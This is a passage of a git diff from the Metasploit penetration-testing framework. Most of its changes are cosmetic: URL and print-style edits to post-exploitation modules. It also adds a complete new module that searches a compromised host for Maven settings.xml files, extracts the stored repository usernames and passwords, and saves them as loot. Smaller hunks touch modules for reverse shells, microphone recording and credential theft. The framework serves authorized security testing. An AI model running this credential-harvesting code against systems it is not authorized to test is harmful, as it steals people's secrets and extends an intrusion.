+      key = decrypt_key(master_key, hudson_secret_key)
+      cipher = OpenSSL::Cipher.new('AES-128-ECB')
+      cipher.decrypt
+      cipher.key = key
+
+      text = cipher.update(encrypted) + cipher.final
+      text = text[0..(text.length - magic.size - 1)]
+      text = Digest::MD5.new.update(text).hexdigest if text.length == 32 # Assuming token
+      text
+    rescue StandardError => e
+      print_error(e.to_s)
+      return "Could not decrypt string"
+    end
+  end
+
+  def decrypt(encrypted)
+    return if encrypted.empty?
+    if encrypted[0] == "{" && encrypted[-1] == "}"
+      decrypt_v2(encrypted)
+    else
+      decrypt_legacy(encrypted)
+    end
+  end
+end
diff --git a/modules/post/multi/gather/lastpass_creds.rb b/modules/post/multi/gather/lastpass_creds.rb
index 2b3af48577..20f4421b30 100644
--- a/modules/post/multi/gather/lastpass_creds.rb
+++ b/modules/post/multi/gather/lastpass_creds.rb
@@ -1,10 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'sqlite3'
 require 'uri'
+
 class MetasploitModule < Msf::Post
   include Msf::Post::File
   include Msf::Post::Windows::UserProfiles
diff --git a/modules/post/multi/gather/maven_creds.rb b/modules/post/multi/gather/maven_creds.rb
new file mode 100644
index 0000000000..e6d278d43f
--- /dev/null
+++ b/modules/post/multi/gather/maven_creds.rb
@@ -0,0 +1,150 @@
+
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'nokogiri'
+
+class MetasploitModule < Msf::Post
+  include Msf::Post::File
+  include Msf::Post::Unix
+
+  def initialize(info={})
+    super( update_info(info,
+      'Name'           => 'Multi Gather Maven Credentials Collection',
+      'Description'    => %q{
+          This module will collect the contents of all users settings.xml on the targeted
+          machine.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         => ['elenoir'],
+      'Platform'       => %w{ bsd linux osx unix win },
+      'SessionTypes'   => ['shell','meterpreter']
+    ))
+  end
+
+  def gathernix
+    print_status("Unix OS detected")
+    files = cmd_exec('locate settings.xml').split("\n")
+    # Handle case where locate does not exist (error is returned in first element)
+    if files.length == 1 && !directory?(files.first)
+      files = []
+      paths = enum_user_directories.map {|d| d}
+      if paths.nil? || paths.empty?
+        print_error("No users directory found")
+        return
+      end
+      paths.each do |path|
+        path.chomp!
+        file = "settings.xml"
+        target = "#{path}/#{file}"
+        if file? target
+          files.push(target)
+        end
+      end
+    end
+    return files
+  end
+
+  def gatherwin
+    print_status("Windows OS detected")
+    return cmd_exec('cd\ && dir settings.xml /b /s').split("\n")
+  end
+
+  def run
+    print_status("Finding user directories")
+    files = ""
+    case session.platform
+      when 'windows'
+        files = gatherwin
+      when 'unix', 'linux', 'bsd', 'osx'
+        files = gathernix
+      else
+        print_error("Incompatible platform")
+    end
+    if files.nil? || files.empty?
+      print_error("No settings.xml file found")
+      return
+    end
+    download_loot(files)
+  end
+
+  def download_loot(files)
+    print_status("Looting #{files.count} files")
+    files.each do |target|
+      target.chomp!
+      if file? target
+        print_status("Downloading #{target}")
+        extract(target)
+      end
+    end
+  end
+
+  def parse_settings(target, data)
+    xml_doc = Nokogiri::XML(data)
+    xml_doc.remove_namespaces!
+
+    xml_doc.xpath("//server").each do |server|
+      id = server.xpath("id").text
+      username = server.xpath("username").text
+      password = server.xpath("password").text
+
+      print_status("Collected the following credentials:")
+      print_status("    Id: %s" % id)
+      print_status("    Username: %s" % username)
+      print_status("    Password: %s" % password)
+
+      print_status("Try to find url from id...")
+      realm = ""
+
+      xml_doc.xpath("//mirror[id = '#{id}']").each do |mirror|
+        realm = mirror.xpath("url").text
+        print_status("Found url in mirror : #{realm}")
+      end
+
+      if realm.blank?
+        xml_doc.xpath("//repository[id = '#{id}']").each do |repository|
+          realm = repository.xpath("url").text
+          print_status("Found url in repository : #{realm}")
+        end
+      end
+
+      if realm.blank?
+        print_status("No url found, id will be set as realm")
+        realm = id
+      end
+
+      print_line("")
+
+      credential_data = {
+          origin_type: :import,
+          module_fullname: self.fullname,
+          filename: target,
+          service_name: 'maven',
+          realm_value: realm,
+          realm_key: Metasploit::Model::Realm::Key::WILDCARD,
+          private_type: :password,
+          private_data: password,
+          username: username,
+          workspace_id: myworkspace_id
+      }
+      create_credential(credential_data)
+    end
+  end
+
+  def extract(target)
+      print_status("Reading settings.xml file from #{target}")
+      data = ""
+      if session.type == "shell"
+        data = session.shell_command("cat #{target}")
+      else
+        settings = session.fs.file.new("#{target}", "rb")
+        until settings.eof?
+          data << settings.read
+        end
+      end
+
+      parse_settings(target, data)
+  end
+end
diff --git a/modules/post/multi/gather/multi_command.rb b/modules/post/multi/gather/multi_command.rb
index 96edc6848d..2e65371021 100644
--- a/modules/post/multi/gather/multi_command.rb
+++ b/modules/post/multi/gather/multi_command.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -41,9 +41,9 @@ class MetasploitModule < Msf::Post
           vprint_status tmpout
           command_log = store_loot("host.command", "text/plain", session,tmpout ,
             "#{cmd.gsub(/\.|\/|\s/,"_")}.txt", "Command Output \'#{cmd.chomp}\'")
-          print_status("Command output saved to: #{command_log}")
+          print_good("Command output saved to: #{command_log}")
         rescue ::Exception => e
-          print_status("Error Running Command #{cmd.chomp}: #{e.class} #{e}")
+          print_bad("Error Running Command #{cmd.chomp}: #{e.class} #{e}")
         end
       end
     end
diff --git a/modules/post/multi/gather/netrc_creds.rb b/modules/post/multi/gather/netrc_creds.rb
index 63e51da7ac..745fe53392 100644
--- a/modules/post/multi/gather/netrc_creds.rb
+++ b/modules/post/multi/gather/netrc_creds.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
   include Msf::Post::Unix
 
@@ -96,5 +95,4 @@ class MetasploitModule < Msf::Post
       print_status("Credentials stored in: #{p.to_s}")
     end
   end
-
 end
diff --git a/modules/post/multi/gather/pgpass_creds.rb b/modules/post/multi/gather/pgpass_creds.rb
index 9445e97a25..34d3573ce6 100644
--- a/modules/post/multi/gather/pgpass_creds.rb
+++ b/modules/post/multi/gather/pgpass_creds.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
   include Msf::Post::Unix
   include Msf::Post::Windows::UserProfiles
diff --git a/modules/post/multi/gather/pidgin_cred.rb b/modules/post/multi/gather/pidgin_cred.rb
index 92f09d8e23..53065d0d44 100644
--- a/modules/post/multi/gather/pidgin_cred.rb
+++ b/modules/post/multi/gather/pidgin_cred.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'rexml/document'
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
   include Msf::Post::Windows::UserProfiles
 
@@ -211,8 +210,8 @@ class MetasploitModule < Msf::Post
       end
 
       if otr_key !~ /No such file/
-        print_status("OTR Key: #{otr_key.to_s}")
         store_loot("otr.private_key", "text/plain", session, otr_key.to_s, "otr.private_key", "otr.private_key")
+        print_good("OTR Key: #{otr_key.to_s}")
       end
 
 
diff --git a/modules/post/multi/gather/ping_sweep.rb b/modules/post/multi/gather/ping_sweep.rb
index bc2e841107..4b01d3a85d 100644
--- a/modules/post/multi/gather/ping_sweep.rb
+++ b/modules/post/multi/gather/ping_sweep.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -62,7 +62,7 @@ class MetasploitModule < Msf::Post
               r = cmd_exec(cmd, count + ip_add)
             end
             if r =~ /(TTL|Alive)/i
-              print_status "\t#{ip_add} host found"
+              print_good "\t#{ip_add} host found"
               ip_found << ip_add
             else
               vprint_status("\t#{ip_add} host not found")
diff --git a/modules/post/multi/gather/remmina_creds.rb b/modules/post/multi/gather/remmina_creds.rb
index 4cd9890695..e393f41be6 100644
--- a/modules/post/multi/gather/remmina_creds.rb
+++ b/modules/post/multi/gather/remmina_creds.rb
@@ -1,6 +1,5 @@
-# encoding: binary
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -182,5 +181,4 @@ class MetasploitModule < Msf::Post
 
     create_credential(credential_data)
   end
-
 end
diff --git a/modules/post/multi/gather/resolve_hosts.rb b/modules/post/multi/gather/resolve_hosts.rb
index 62f14326fc..8b731de5ee 100644
--- a/modules/post/multi/gather/resolve_hosts.rb
+++ b/modules/post/multi/gather/resolve_hosts.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/post/multi/gather/rsyncd_creds.rb b/modules/post/multi/gather/rsyncd_creds.rb
index 4234fac7bd..42c10724a9 100644
--- a/modules/post/multi/gather/rsyncd_creds.rb
+++ b/modules/post/multi/gather/rsyncd_creds.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/post/multi/gather/rubygems_api_key.rb b/modules/post/multi/gather/rubygems_api_key.rb
index 51f9574a17..9f140ed922 100644
--- a/modules/post/multi/gather/rubygems_api_key.rb
+++ b/modules/post/multi/gather/rubygems_api_key.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
   include Msf::Post::Unix
 
@@ -72,5 +71,4 @@ class MetasploitModule < Msf::Post
       print_good("RubyGems API key stored in #{loot_path}")
     end
   end
-
 end
diff --git a/modules/post/multi/gather/run_console_rc_file.rb b/modules/post/multi/gather/run_console_rc_file.rb
index a0f6e3235c..eaf4ac8080 100644
--- a/modules/post/multi/gather/run_console_rc_file.rb
+++ b/modules/post/multi/gather/run_console_rc_file.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/post/multi/gather/skype_enum.rb b/modules/post/multi/gather/skype_enum.rb
index e5e37769fe..e95856b0c2 100644
--- a/modules/post/multi/gather/skype_enum.rb
+++ b/modules/post/multi/gather/skype_enum.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'csv'
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
   include Msf::Post::Windows::UserProfiles
   include Msf::Post::OSX::System
diff --git a/modules/post/multi/gather/ssh_creds.rb b/modules/post/multi/gather/ssh_creds.rb
index 75bf8645f4..ca0ccfbd15 100644
--- a/modules/post/multi/gather/ssh_creds.rb
+++ b/modules/post/multi/gather/ssh_creds.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'sshkey'
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
   include Msf::Post::Unix
 
@@ -84,5 +83,4 @@ class MetasploitModule < Msf::Post
 
     end
   end
-
 end
diff --git a/modules/post/multi/gather/thunderbird_creds.rb b/modules/post/multi/gather/thunderbird_creds.rb
index af848d84c7..d42e996b47 100644
--- a/modules/post/multi/gather/thunderbird_creds.rb
+++ b/modules/post/multi/gather/thunderbird_creds.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
   include Msf::Post::Windows::UserProfiles
 
@@ -16,7 +15,7 @@ class MetasploitModule < Msf::Post
         the necessary files such as 'signons.sqlite', 'key3.db', and 'cert8.db' for
         offline decryption with third party tools.
 
-          If necessary, you may also set the PARSE optioin to true to parse the sqlite
+          If necessary, you may also set the PARSE option to true to parse the sqlite
         file, which contains sensitive information such as the encrypted username/password.
         However, this feature is not enabled by default, because it requires SQLITE3 gem
         to be installed on your machine.
diff --git a/modules/post/multi/gather/tomcat_gather.rb b/modules/post/multi/gather/tomcat_gather.rb
index 0c5cd786a2..bf63a4880f 100644
--- a/modules/post/multi/gather/tomcat_gather.rb
+++ b/modules/post/multi/gather/tomcat_gather.rb
@@ -1,7 +1,11 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
 require 'msf/core/auxiliary/report'
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
   include Msf::Post::Windows::Services
 
@@ -139,7 +143,7 @@ class MetasploitModule < Msf::Post
               end
             end
           rescue
-            print_status("Cannot open #{path} you probably don't have permission to open the file or parsing failed.")
+            print_error("Cannot open #{path} you probably don't have permission to open the file or parsing failed")
           end
         end
       end
@@ -169,7 +173,7 @@ class MetasploitModule < Msf::Post
               end
             end
           rescue
-            print_status("Cannot open #{path} you probably don't have permission to open the file or parsing failed.")
+            print_status("Cannot open #{path} you probably don't have permission to open the file or parsing failed")
           end
         end
       end
diff --git a/modules/post/multi/gather/wlan_geolocate.rb b/modules/post/multi/gather/wlan_geolocate.rb
index 321d6121ad..4bd5862ece 100644
--- a/modules/post/multi/gather/wlan_geolocate.rb
+++ b/modules/post/multi/gather/wlan_geolocate.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -21,7 +21,8 @@ class MetasploitModule < Msf::Post
 
       register_options(
         [
-        OptBool.new('GEOLOCATE', [ false, 'Use Google APIs to geolocate Linux, Windows, and OS X targets.', false])
+        OptBool.new('GEOLOCATE', [ false, 'Use Google APIs to geolocate Linux, Windows, and OS X targets.', false]),
+        OptString.new('APIKEY', [ false, 'Key for Google APIs if error is received without one.', '']),
         ])
 
   end
@@ -83,13 +84,16 @@ class MetasploitModule < Msf::Post
 
   def perform_geolocation(wlan_list)
     if wlan_list.blank?
-      print_error("Unable to enumerate wireless networks from the target.  Wireless may not be present or enabled.")
+      print_error('Unable to enumerate wireless networks from the target.  Wireless may not be present or enabled.')
+      return
+    elsif datastore['APIKEY'].empty?
+      print_error("Google API key is required.")
       return
     end
     g = Rex::Google::Geolocation.new
-
+    g.set_api_key(datastore['APIKEY'])
     wlan_list.each do |wlan|
-      g.add_wlan(*wlan)
+      g.add_wlan(wlan[0], wlan[2]) # bssid, signalstrength
     end
 
     begin
@@ -115,7 +119,7 @@ class MetasploitModule < Msf::Post
       else
         store_loot("host.windows.wlan.networks", "text/plain", session, listing, "wlan_networks.txt", "Available Wireless LAN Networks")
         # The wireless output does not lend itself to displaying on screen for this platform.
-        print_status("Wireless list saved to loot.")
+        print_good("Wireless list saved to loot.")
         if datastore['GEOLOCATE']
           wlan_list = parse_wireless_win(listing)
           perform_geolocation(wlan_list)
@@ -130,7 +134,7 @@ class MetasploitModule < Msf::Post
         return nil
       else
         store_loot("host.osx.wlan.networks", "text/plain", session, listing, "wlan_networks.txt", "Available Wireless LAN Networks")
-        print_status("Target's wireless networks:\n\n#{listing}\n")
+        print_good("Target's wireless networks:\n\n#{listing}\n")
         if datastore['GEOLOCATE']
           wlan_list = parse_wireless_osx(listing)
           perform_geolocation(wlan_list)
@@ -146,7 +150,7 @@ class MetasploitModule < Msf::Post
       else
         store_loot("host.linux.wlan.networks", "text/plain", session, listing, "wlan_networks.txt", "Available Wireless LAN Networks")
         # The wireless output does not lend itself to displaying on screen for this platform.
-        print_status("Wireless list saved to loot.")
+        print_good("Wireless list saved to loot.")
         if datastore['GEOLOCATE']
           wlan_list = parse_wireless_linux(listing)
           perform_geolocation(wlan_list)
@@ -161,7 +165,7 @@ class MetasploitModule < Msf::Post
         return nil
       else
         store_loot("host.solaris.wlan.networks", "text/plain", session, listing, "wlan_networks.txt", "Available Wireless LAN Networks")
-        print_status("Target's wireless networks:\n\n#{listing}\n")
+        print_good("Target's wireless networks:\n\n#{listing}\n")
         print_error("Geolocation is not supported on this platform.\n\n") if datastore['GEOLOCATE']
         return
       end
@@ -177,7 +181,7 @@ class MetasploitModule < Msf::Post
         return nil
       else
         store_loot("host.bsd.wlan.networks", "text/plain", session, listing, "wlan_networks.txt", "Available Wireless LAN Networks")
-        print_status("Target's wireless networks:\n\n#{listing}\n")
+        print_good("Target's wireless networks:\n\n#{listing}\n")
         print_error("Geolocation is not supported on this platform.\n\n") if datastore['GEOLOCATE']
         return
       end
diff --git a/modules/post/multi/general/close.rb b/modules/post/multi/general/close.rb
index 47caa76d71..ee3ab9b04d 100644
--- a/modules/post/multi/general/close.rb
+++ b/modules/post/multi/general/close.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -20,5 +20,4 @@ class MetasploitModule < Msf::Post
     print_status("Closing session #{session.inspect}...")
     session.kill
   end
-
 end
diff --git a/modules/post/multi/general/execute.rb b/modules/post/multi/general/execute.rb
index fea758355b..edddc23c1c 100644
--- a/modules/post/multi/general/execute.rb
+++ b/modules/post/multi/general/execute.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -26,5 +26,4 @@ class MetasploitModule < Msf::Post
     print_status("Response: #{res}")
 
   end
-
 end
diff --git a/modules/post/multi/general/wall.rb b/modules/post/multi/general/wall.rb
index 32df66eebd..73ea38092d 100644
--- a/modules/post/multi/general/wall.rb
+++ b/modules/post/multi/general/wall.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/post/multi/manage/autoroute.rb b/modules/post/multi/manage/autoroute.rb
index 8963cae011..e5eb18e3ab 100644
--- a/modules/post/multi/manage/autoroute.rb
+++ b/modules/post/multi/manage/autoroute.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Post
 
   def initialize(info={})
diff --git a/modules/post/multi/manage/dbvis_add_db_admin.rb b/modules/post/multi/manage/dbvis_add_db_admin.rb
index cc94b3d443..ef888f0fb6 100644
--- a/modules/post/multi/manage/dbvis_add_db_admin.rb
+++ b/modules/post/multi/manage/dbvis_add_db_admin.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/auxiliary/report'
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
   include Msf::Post::Unix
 
@@ -242,5 +241,4 @@ class MetasploitModule < Msf::Post
     end
     return nil
   end
-
 end
diff --git a/modules/post/multi/manage/dbvis_query.rb b/modules/post/multi/manage/dbvis_query.rb
index 7639d78634..bb4126419b 100644
--- a/modules/post/multi/manage/dbvis_query.rb
+++ b/modules/post/multi/manage/dbvis_query.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/auxiliary/report'
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
   include Msf::Post::Unix
 
@@ -219,6 +218,5 @@ class MetasploitModule < Msf::Post
     end
     return error
   end
-
 end
 
diff --git a/modules/post/multi/manage/multi_post.rb b/modules/post/multi/manage/multi_post.rb
index 127938dc4a..23ab7bd3d9 100644
--- a/modules/post/multi/manage/multi_post.rb
+++ b/modules/post/multi/manage/multi_post.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
 
   def initialize(info={})
diff --git a/modules/post/multi/manage/play_youtube.rb b/modules/post/multi/manage/play_youtube.rb
index 97b3866bab..cb61ff61f1 100644
--- a/modules/post/multi/manage/play_youtube.rb
+++ b/modules/post/multi/manage/play_youtube.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
 
   PLAY_OPTIONS = 'autoplay=1&loop=1&disablekb=1&modestbranding=1&iv_load_policy=3&controls=0&showinfo=0&rel=0'
@@ -29,11 +28,13 @@ class MetasploitModule < Msf::Post
       ])
   end
 
+  YOUTUBE_BASE_URL = "https://youtube.com/embed/"
+
   #
   # The OSX version uses an apple script to do this
   #
   def osx_start_video(id)
-    url = "https://youtube.googleapis.com/v/#{id}?fs=1&#{PLAY_OPTIONS}"
+    url = "#{YOUTUBE_BASE_URL}#{id}?#{PLAY_OPTIONS}"
     script = ''
     script << %Q|osascript -e 'tell application "Safari" to open location "#{url}"' |
     script << %Q|-e 'activate application "Safari"' |
@@ -54,8 +55,8 @@ class MetasploitModule < Msf::Post
   def win_start_video(id)
     iexplore_path = "C:\\Program Files\\Internet Explorer\\iexplore.exe"
     begin
-      session.sys.process.execute(iexplore_path, "-k https://www.youtube.com/embed/#{id}?#{PLAY_OPTIONS}")
-    rescue Rex::Post::Meterpreter::RequestError => e
+      session.sys.process.execute(iexplore_path, "-k #{YOUTUBE_BASE_URL}#{id}?#{PLAY_OPTIONS}")
+    rescue Rex::Post::Meterpreter::RequestError
       return false
     end
 
@@ -81,7 +82,7 @@ class MetasploitModule < Msf::Post
       write_file("/tmp/#{profile_name}/prefs.js", s)
 
       # Start the video
-      url = "https://youtube.googleapis.com/v/#{id}?fs=1&#{PLAY_OPTIONS}"
+      url = "#{YOUTUBE_BASE_URL}#{id}?#{PLAY_OPTIONS}"
       data_js = %Q|"data:text/html,<script>window.open('#{url}','','width:100000px;height:100000px');</script>"|
       joe = "firefox --display :0 -p #{profile_name} #{data_js} &"
       cmd_exec("/bin/sh -c #{joe.shellescape}")
@@ -99,7 +100,7 @@ class MetasploitModule < Msf::Post
     intenturl = "intent://youtube.com/watch?v=#{id}&autoplay=1#Intent;scheme=http;action=android.intent.action.VIEW;end"
     begin
       session.android.activity_start(intenturl)
-    rescue Rex::Post::Meterpreter::RequestError => e
+    rescue Rex::Post::Meterpreter::RequestError
       return false
     end
     true
@@ -130,5 +131,4 @@ class MetasploitModule < Msf::Post
     end
 
   end
-
 end
diff --git a/modules/post/multi/manage/record_mic.rb b/modules/post/multi/manage/record_mic.rb
index a6daa90d7c..bd4508e444 100644
--- a/modules/post/multi/manage/record_mic.rb
+++ b/modules/post/multi/manage/record_mic.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Auxiliary::Report
 
   def initialize(info={})
@@ -77,5 +76,4 @@ class MetasploitModule < Msf::Post
       print_good("#{rhost} - Audio recording saved: #{p}")
     end
   end
-
 end
diff --git a/modules/post/multi/manage/set_wallpaper.rb b/modules/post/multi/manage/set_wallpaper.rb
index 364b12d5ea..9e8dbccc45 100644
--- a/modules/post/multi/manage/set_wallpaper.rb
+++ b/modules/post/multi/manage/set_wallpaper.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/post/multi/manage/shell_to_meterpreter.rb b/modules/post/multi/manage/shell_to_meterpreter.rb
index 5c2e265502..fd865392db 100644
--- a/modules/post/multi/manage/shell_to_meterpreter.rb
+++ b/modules/post/multi/manage/shell_to_meterpreter.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/post/multi/manage/sudo.rb b/modules/post/multi/manage/sudo.rb
index c33419a8ef..cfc80ba875 100644
--- a/modules/post/multi/manage/sudo.rb
+++ b/modules/post/multi/manage/sudo.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
   include Msf::Post::Linux::Priv
   include Msf::Post::Linux::System
@@ -129,5 +128,4 @@ class MetasploitModule < Msf::Post
       print_error "Timed out during sudo cleanup."
     end
   end
-
 end
diff --git a/modules/post/multi/manage/system_session.rb b/modules/post/multi/manage/system_session.rb
index 9d9393e555..c19958a2ec 100644
--- a/modules/post/multi/manage/system_session.rb
+++ b/modules/post/multi/manage/system_session.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -10,7 +10,7 @@ class MetasploitModule < Msf::Post
         'Name'          => 'Multi Manage System Remote TCP Shell Session',
         'Description'   => %q{
           This module will create a Reverse TCP Shell on the target system
-          using the system own scripting enviroments installed on the
+          using the system's own scripting environments installed on the
           target.
         },
         'License'       => MSF_LICENSE,
@@ -55,7 +55,7 @@ class MetasploitModule < Msf::Post
     end
 
     if not cmd.empty?
-      print_status("Executing reverse tcp shel to #{lhost} on port #{lport}")
+      print_status("Executing reverse tcp shell to #{lhost} on port #{lport}")
       cmd_exec("(#{cmd} &)")
     end
   end
diff --git a/modules/post/multi/manage/upload_exec.rb b/modules/post/multi/manage/upload_exec.rb
index 68851cc86d..cd54f9fb08 100644
--- a/modules/post/multi/manage/upload_exec.rb
+++ b/modules/post/multi/manage/upload_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -47,6 +47,5 @@ class MetasploitModule < Msf::Post
     end
     rm_f(rfile)
   end
-
 end
 
diff --git a/modules/post/multi/manage/zip.rb b/modules/post/multi/manage/zip.rb
index 62ceecc288..94992f5725 100644
--- a/modules/post/multi/manage/zip.rb
+++ b/modules/post/multi/manage/zip.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
   include Msf::Post::Windows::Priv
 
@@ -138,6 +137,5 @@ class MetasploitModule < Msf::Post
       linux_zip
     end
   end
-
 end
 
diff --git a/modules/post/multi/recon/local_exploit_suggester.rb b/modules/post/multi/recon/local_exploit_suggester.rb
index 1d649bb3a6..77d2526c2c 100644
--- a/modules/post/multi/recon/local_exploit_suggester.rb
+++ b/modules/post/multi/recon/local_exploit_suggester.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -185,5 +185,4 @@ class MetasploitModule < Msf::Post
   def print_error(msg='')
     super("#{session.session_host} - #{msg}")
   end
-
 end
diff --git a/modules/post/multi/recon/multiport_egress_traffic.rb b/modules/post/multi/recon/multiport_egress_traffic.rb
index 55ef2ee3a1..395b84d324 100644
--- a/modules/post/multi/recon/multiport_egress_traffic.rb
+++ b/modules/post/multi/recon/multiport_egress_traffic.rb
@@ -1,7 +1,7 @@
 # -*- coding: binary -*-
 
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -195,9 +195,9 @@ class MetasploitModule < Msf::Post
     vprint_status("[#{num}:WINAPI] Connecting to #{remote}:#{proto}/#{dport}")
     r = winapi_make_connection(remote, dport, socket_handle['return'], proto)
     if r['GetLastError'] == 0
-      vprint_status("[#{num}:WINAPI] Connection packet sent successfully #{proto}/#{dport}")
+      vprint_good("[#{num}:WINAPI] Connection packet sent successfully #{proto}/#{dport}")
     else
